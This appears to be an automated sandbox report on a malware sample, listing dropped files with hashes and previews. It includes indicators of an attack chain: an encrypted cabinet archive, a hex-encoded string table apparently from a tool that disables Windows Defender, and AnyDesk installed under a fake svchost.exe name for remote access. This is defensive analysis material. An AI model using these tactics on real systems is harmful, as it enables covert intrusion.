Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.482219846983968
Encrypted:	false
SSDEEP:	48:7MVOiol1xCol1sol1Q2iolV6iolsol1Nol1Aiol1fOiol1fEMol1C8ol1o5iol0A:7vXp6FQPKgfn9IVXEBodRBk+n
MD5:	83DE70A385A1408B82C0D2A2C39D2B2A
SHA1:	8B46D1481A2EAE072D873A499642496EC9616D34
SHA-256:	2D4B0C2B56B2C7FDAA534DB4A57307423C9B083498EAA442205BB2DF169346A1
SHA-512:	BE95429A30B81777969C1B9B2D491333624B70BCA0496B4863F024D66485009AA39D126FFFAF8FF637E19586C8A0199DBAA578CFFAA8439A606EB6DB188D1345
Malicious:	false
Preview:	.... .c.....t.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................y...g..m...../.g.......~...r......................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt21.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	536
Entropy (8bit):	5.168073062267472
Encrypted:	false
SSDEEP:	12:T4RFe6h8idRuMgxg6dxs3yBFTtDcZQRAzidRuOPgxg601s3yBFDHpcZQM:kFqid8HxPs3yTTtsnid8OPgx4s3yTDHo
MD5:	6F787FAC5E735DBEE521DCD8D3C8E858
SHA1:	1A171673DEF7919C9B2427310DCC87BBD89AA007
SHA-256:	A1E5CDB84F1B343BBCFBF213C3817E50AA9795D2863CEA841BE130CB7C5FD4C7
SHA-512:	F767B15B364EAE7D822D8D71FB9ADB6AF1400F79AC701035AFD846E0E4D468178FE0E0C76351A88BF6CB678AAD757B47C3CB4A4E82CB7DF706AA9B02F9407755
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt22.lst.4348

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	536
Entropy (8bit):	5.168073062267472
Encrypted:	false
SSDEEP:	12:T4RFe6h8idRuMgxg6dxs3yBFTtDcZQRAzidRuOPgxg601s3yBFDHpcZQM:kFqid8HxPs3yTTtsnid8OPgx4s3yTDHo
MD5:	6F787FAC5E735DBEE521DCD8D3C8E858
SHA1:	1A171673DEF7919C9B2427310DCC87BBD89AA007
SHA-256:	A1E5CDB84F1B343BBCFBF213C3817E50AA9795D2863CEA841BE130CB7C5FD4C7
SHA-512:	F767B15B364EAE7D822D8D71FB9ADB6AF1400F79AC701035AFD846E0E4D468178FE0E0C76351A88BF6CB678AAD757B47C3CB4A4E82CB7DF706AA9B02F9407755
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt21.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	536
Entropy (8bit):	5.168073062267472
Encrypted:	false
SSDEEP:	12:T4RFe6h8idRuMgxg6dxs3yBFTtDcZQRAzidRuOPgxg601s3yBFDHpcZQM:kFqid8HxPs3yTTtsnid8OPgx4s3yTDHo
MD5:	6F787FAC5E735DBEE521DCD8D3C8E858
SHA1:	1A171673DEF7919C9B2427310DCC87BBD89AA007
SHA-256:	A1E5CDB84F1B343BBCFBF213C3817E50AA9795D2863CEA841BE130CB7C5FD4C7
SHA-512:	F767B15B364EAE7D822D8D71FB9ADB6AF1400F79AC701035AFD846E0E4D468178FE0E0C76351A88BF6CB678AAD757B47C3CB4A4E82CB7DF706AA9B02F9407755
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt21.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10254
Entropy (8bit):	5.219521007487608
Encrypted:	false
SSDEEP:	192:rfA2L6Bw6FM76bMx6yU6Hy6Xk6PF6gV6ZQfs6wItRZ6mKtsu68ttG167e/btX458:rYEewSGsmdU4yKkCFFVgQfsfItRZtKt+
MD5:	4BA170A42160C86108475DB3EBD41455
SHA1:	A2274994767970A215A75F862B7F1EAC67ABABB6
SHA-256:	E9AADA55671902B91B000E520F7C9A250A817D10F56DAD113A9B14EB1F38FF4A
SHA-512:	416230BDC34F657425FE574074410A02BD1AD2C9F8F9BBC200A4996DCF469FA5389D43F204AFE8B222A119234D442FEF88E3F87BF23DECFB48A69382B240B338
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.hasSVG:no.VariableFontType:NonVariableFont.FileLength:85552.FileModTime:1627105154.WeightClass:400.WidthClass:5.AngleClass:0.Des

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt22.lst.4348

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10254
Entropy (8bit):	5.219521007487608
Encrypted:	false
SSDEEP:	192:rfA2L6Bw6FM76bMx6yU6Hy6Xk6PF6gV6ZQfs6wItRZ6mKtsu68ttG167e/btX458:rYEewSGsmdU4yKkCFFVgQfsfItRZtKt+
MD5:	4BA170A42160C86108475DB3EBD41455
SHA1:	A2274994767970A215A75F862B7F1EAC67ABABB6
SHA-256:	E9AADA55671902B91B000E520F7C9A250A817D10F56DAD113A9B14EB1F38FF4A
SHA-512:	416230BDC34F657425FE574074410A02BD1AD2C9F8F9BBC200A4996DCF469FA5389D43F204AFE8B222A119234D442FEF88E3F87BF23DECFB48A69382B240B338
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.hasSVG:no.VariableFontType:NonVariableFont.FileLength:85552.FileModTime:1627105154.WeightClass:400.WidthClass:5.AngleClass:0.Des

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\TESTING

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\SOPHIA.json

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	5.067504315600724
Encrypted:	false
SSDEEP:	12:YFqxBoA22502+Otv22E3CyMCV+t8oxwZKg2Ak36SK/0igly8jkE5ksoJSnONs:YFur2NO2LSZCgq+/URAjzROG
MD5:	3513A336F8435927A37683851AB63574
SHA1:	5890A3645323CB5C228AECA1EC3EF90D372D9A6E
SHA-256:	98889E11648AB36ADC4057A5294A343E180C0619B8B4462DEC56F25E7716E89F
SHA-512:	D278B57073AD97F68314E60484BDC867D8CDE0DD43155CF11DECC43385444D706F52F4AD9D1B29514D7D4F15BC7BF5FAD877C913DA6AC1FFE8A492C5FF2C6541
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736578423000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"0353a8d4cbb1fc6eab3151e24b9d1c03","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1725958090000},{"id":"Edit_InApp_Aug2020","info":{"dg":"6c845701913dc07a142631007125304a","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1725958090000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"9a041f338931f9aaad7d5f13d6917eef","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1725958090000},{"id":"DC_Reader_Upsell_Cards","info":{"dg":"e4e8b9846fec296de87fec860fc692f8","sid":"DC_Reader_Upsell_Cards"},"mimeType":"file","size":286,"ts":1725958090000},{"id":"DC_Reader_RHP_Retention","info":{"dg":"ac64b04ece130274a3be222dc51bdd30","sid":"DC_Reader_RHP_Retention"},"mimeType":"file","size":287,"ts":1725958090000}],"g_info":{"Version":"0.0.0.1"}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	40393
Entropy (8bit):	5.518083145564749
Encrypted:	false
SSDEEP:	384:K7X4oyVFMqHBMvN2yUjySlR3k6Vhx8VzgJWJYNg7y:KT4oyVFMwBCNhSlR3k6XKBYyu
MD5:	E7BF64B5A03EC2F1AD86858FF02DE8FA
SHA1:	00150174D7D8392FEC730321B5C62AB5D3D2BAC6
SHA-256:	E7893EE167595C56F65A6B9C77135F74E7DEFDA9388B058710AB48CDBF578AE4
SHA-512:	28A4F23121887F51079F4B1905D978F49FDB8C009F761171D19487B59641A0158DB75036C1A35D7A1C7DC6672D963D8052B505321CEFB9692E28A0110AB5F16C
Malicious:	false
Preview:	4.241.93.FID.2:o:........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.107.FID.2:o:........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.103.FID.2:o:........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.116.FID.2:o:........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.75.FID.2:o:........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.89.FID.2:o:........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.85.FID.2:o:........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.98.FID.2:o:........:F:Arial-BoldItalicMT.P:Arial Bold Italic.L:$.........................."F:Arial.#.91.FID.2:o:........:F:Arial-Black.P:Arial Black.L:-.........................."F:Arial Black.#.103.FID.2:o:........:F:Bahnschrift.P:Bahnschrift Light.L:&...............,.........."F:Bahnschrift Light.#.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1824
Entropy (8bit):	5.207902729616354
Encrypted:	false
SSDEEP:	48:uPJSGfs4c4RQmFoUefamfgZ9tK8NfJAoc+jIrW6LH:yIGHcIFKLfbIZ2Kfc+jAWQH
MD5:	465E8E23DF666A077E10854861FDC103
SHA1:	D75B120D79F369F508834ECEC66A06F228B40A2D
SHA-256:	1D3A30C6E1C9103EEFC4EBD1B307341281144CA872B1B61B8839B5EBB4A0A011
SHA-512:	5C8DAC6CA831CE5F00C144C7BAB699D0BA87C78F43E9EF1780A6D89EBEBD43E19D82429CEC01CB8171A91FE73E507731862D14274B3FFD35572D5AFB226A4B07
Malicious:	false
Preview:	@...e...........................................................T...............n$....<@.{..uR........Microsoft.Management.Infrastructure.Native..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0...............I.....B..ZR............System..4......................A....E..........System.Core.D................g$H..K..I.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4..................%`99B....9...........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell

C:\Users\user\AppData\Local\Temp\$inst\2.tmp

Download File

Process:	C:\Users\user\Desktop\Yv24LkKBY6.exe
File Type:	Microsoft Cabinet archive data, 36 bytes, at 0x24 "", number 1, 0 datablock, 0 compression
Category:	dropped
Size (bytes):	36
Entropy (8bit):	1.3753156176197312
Encrypted:	false
SSDEEP:	3:wDl:wDl
MD5:	8708699D2C73BED30A0A08D80F96D6D7
SHA1:	684CB9D317146553E8C5269C8AFB1539565F4F78
SHA-256:	A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
SHA-512:	38ECE3E441CC5D8E97781801D5B19BDEDE6065A0A50F7F87337039EDEEB4A22AD0348E9F5B5542B26236037DD35D0563F62D7F4C4F991C51020552CFAE03B264
Malicious:	false
Preview:	MSCF....$.......$...................

C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp

Download File

Process:	C:\Users\user\Desktop\Yv24LkKBY6.exe
File Type:	Microsoft Cabinet archive data, many, 713528 bytes, 3 files, at 0x2c +A "0" +A "1", number 1, 56 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	713528
Entropy (8bit):	7.999592053370537
Encrypted:	true
SSDEEP:	12288:gbD1JtgNuVSIUa6xbajCPNNIbIV8DSGAF/2K2+21Br9eGmfnfWjgsTo0+DuKriE:glJSuoBa6xGuPAIV8D/6kN1betf2Zo04
MD5:	7012E21E7EA2A7E8C11BF15235428710
SHA1:	AADE81FD733C081FD79D8CA849C0DE37407AEE37
SHA-256:	FE880D56A2B9CBD0A279375921590BA1F53292CD8723DD601E225DF77BC51696
SHA-512:	8EF3DA74B59C4D6A7985179C348448B81DEEEF2448B71B4D04254FDEBE1007AE8316B0BD8B2A6EDDB7D2125CDC0C9E86C53C769F0C056C44876C7694E438A2CB
Malicious:	false
Preview:	MSCF....8.......,...................b...8...Jd........MY.V .0..\..Jd....8Y.. .1.....J.....TY.: .2.Q.E.$f..[...............%.1.3.f`.C..........6T.5j5T6T........d..f.......R.8..Ix.xn..2@&@....6..1..o..0.._.....1......c..D.{Y1L$.,...'.B../........3..D@...Y...j.[.D..V....'.9N.w....c..9QPx>..EQ..X.H..Q.BQ[S..G..u..f..o..$._?.T\|,.....Z4_Z.....i.h..#.Tf.eL@.+,L..4.\|...."..K.......B..N.i~[<f^...k.+....f../..}C.D_..c..`fV.E.E..*.g{C.Z..)&v....a~"I.J......)..&......9Y....1....R.....t....=.6.x.+....3...;..hK.C.#5m1.B'.R4....M.3...EGT........^K.@u.#I..;I..Mn..;~c..._..V....8xTL..K.S.......B.o....5h.8z.=..?PTY.....W..!.n......ot.7{..E.L.X.n:z.2X.p.....)F...^.......9....=>q.[o.8fV..coHQ].E..a.q>.r.+...P....M..O....)..y.....1.=......1..>-.+z....n#m..N..N..).=...`..!...%..7z......mx...\Cnw.b..%...>..p.+....<.S...............<.v.6q.......z.,i..u`.G.n.....^...........?Nz.i.k...,.....W.#.....{.\|...q.Q{?.....3%..Sa..q<..P1v.%n..ST{../OG.C.\|J.8k.M.h7.'

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0uowp4dj.l31.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ck41cmq3.kwx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pp3kkwli.c2s.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pvpwynpt.lpj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\autACE4.tmp

Download File

Process:	C:\Intel\dc.exe
File Type:	data
Category:	dropped
Size (bytes):	33220
Entropy (8bit):	7.730918275075489
Encrypted:	false
SSDEEP:	768:ucjZIYG6A8kiHIgH82NNkIY6zAXohupeNISgTBuda:ul8kpg9NW6vhupUISgoda
MD5:	7F08F61D0CB3BDEF38867217FD81B787
SHA1:	1F487054BD6D22A1FBD3A5AAD610B2897D389D2F
SHA-256:	145D1A291D7962F9C4D2A4FC0323CD1357EFB26F8030E580762DB55022D7BF84
SHA-512:	6E4A84D4BD2D1E52CBB197FF6E04A81C6634D03860522B13D3D8B1B4C90CAB139667AEF4ACCB41480434434F8BA247C3064C252388012A3052DCD7E7D4A98A39
Malicious:	false
Preview:	.p.%.....Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.:..qA..f.y..i9... ....VMf.i..k3.M..<..Lf....g6........F...9...A....o6.....`...\|'..@....Q@...q7...bg1.Qf`... f....S7.L.....mE.....4..M...eD..& ......~&S...o9..&Sj..k6..(`...@.....g4...-...gA.M..>...o6.(...K3)..g1..fT@..e3..<ji0.....L.6...i..`.9.....0N@Y...h.9..Wb.4.........F.j.S..`....&si....../.#..Br....h...).....a2... ?..p.tQ..`..n.-.. .(....`#l...;H.@....@..m9..@.8.pL......`...S....(...'......... .......4.o7...\|3Y.....2(.9..e5...\|.....}M..>..`....&.I...2.`h`U...d.k..B&.......8.... .S...f.P...n...&\|.V...f.`..i8.P.. .wfsP3..9 ._..t....p..mD.M........\|..l.h.8..nb.\|....?........ .....................`0......nh.@&.;3z..2....*.w..$..Q.&..#6.P..... .....3.......D...6..& ..%.1..&..Z..&3`........i6..f.@...@..5.......I. ..5....3`...k@k^...`" . ..`\|..X..'.....k@pD..{.T.........`.T.. l_.3..I.....e...........1.a.....@4............i5..&.@...S....... ...^........O 7...AD .l... .......W........\|.L.....<NAk.....`..@...f......../....(... Y.

C:\Users\user\AppData\Local\Temp\axvmifh

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	111542
Entropy (8bit):	3.429028761339644
Encrypted:	false
SSDEEP:	768:W62wUDwXu72ncwnSI6MMKWEFcwE66CpHNc+L5BLjZhvDyR4V7rS8uo:W62wUDwXNncwnSI6MMK3cmQ4HDZSJo
MD5:	D1A0850A8B128575034B94F0BD05318B
SHA1:	2064B00E81B2D0AFA60D561CCCA2D2C82D9C8414
SHA-256:	C40566AA7677F27F3A633FFD1A98F80FC60EB0B5B1487B756850504E5B462501
SHA-512:	64A1587E6E6FDB6AAC284D8C5A395385BE9605DB391C718CAF0F5F78359A8627D486C9CA6FDD1A253F0F26321FD76695B6EAC44662F87F4AC69D2873CCC679E5
Malicious:	false
Preview:	4D7573744465636C61726556617273[08AEi4755495F52554E4445464D5347[08AEi47554944617461536570617261746F7243686172[08AEi57696E44657465637448696464656E54657874[08AEi312E37[08AEi446566656E64657220436F6E74726F6C[08AEi202D20417574686F7220627920426C75654C696665[08AEi5B434C4153533A64436F6E74726F6C3A76[08AEi5D[08AEi323031352D32303231[08AEi2040557365724E616D6520[08AEi2040436F6D70696C656420[08AEi20404175746F497445786520[08AEi20404F534172636820[08AEi20404175746F497458363420[08AEi20404F5356657273696F6E20[08AEi57696E446566656E64[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi204053637269707444697220[08AEi204057696E646F777344697220[08AEi53797374656D33325C[08AEi2040576F726B696E6744697220[08AEi6B65726E656C33322E646C6C[08AEi7573657233322E646C6C[08AEi61647661706933322E646C6C[08AEi7368656C6C33322E646C6C[08AEi6F6C6533322E646C6C[08A

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	57739
Entropy (8bit):	4.345467501365694
Encrypted:	false
SSDEEP:	768:LaAPBLO9b6GCf1B+xptcksFblzHqnfRtnfj:OGhk+Yj
MD5:	27C843C8935C2F73F8006D977279FA5B
SHA1:	A216029C102A8D40B14B777F18F1DDDCB930F51F
SHA-256:	04945797C3A0563DE91B27A7B3278E2BCADC26C0FE9DA71B76DA2272CA1CA16F
SHA-512:	B39AF579594D37299822C509F0223C718BCA979F5830E47AC092A7C2B6F14CDC45838267E813061A78916A318A0BE092EF352B55ADFAB4CA5F661AFECF4FAF87
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2025-01-11 06:54:02.818 installer 7000 2028 main - AnyDesk Windows Startup .. info 2025-01-11 06:54:02.818 installer 7000 2028 main - Version 8.0.14 (release/win_8.0.14 13967ce7c71d8c19a49dd697dbd0dec1c8d166bf).. info 2025-01-11 06:54:02.818 installer 7000 2028 main - .. info 2025-01-11 06:54:02.818 installer 7000 2028 main - Command Line params: svchost.exe --install C:\Intel\AnyDesk.. info 2025-01-11 06:54:02.818 installer 7000 2028 main - Process started at 2025-01-11. PID 7000. OS is Windows 8 (64 bit).. info 2025-01-11 06:54:02.818 installer 7000 2028 impl_selector - using sse2 (intrinsics).. info 2025-01-11 06:54:02.849 installer 7000 2028 base.data.config_application - Adding GPO default

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with very long lines (1751)
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	6.016562999293233
Encrypted:	false
SSDEEP:	48:uISTBniayZw7/ooHiUGqur/sEPs/Iwj6Gt/uO/GiXttXz1OF3rsB2j57TCvsP6SU:uIST1ilZwNHi/jPSeG2O/z71OF3wB2jA
MD5:	97607BA03D1A9030D6FA7AAAD395BDA7
SHA1:	440D1A5E74FDA20944A7A41C3031C7F0BBDD73C5
SHA-256:	B0CF5B1CC42AE2692789646A3058711B03FA50827B3BFD201C245460086D6DFF
SHA-512:	49D7AB4A5526DB51CABF0A1C04AD1CCA6FADC89A165ADAD159E9CAE9EF55038506EB62E0722C18F02A4C5F550BB9ADC953A903A27B2899A646AFF2656D60EEBC
Malicious:	false
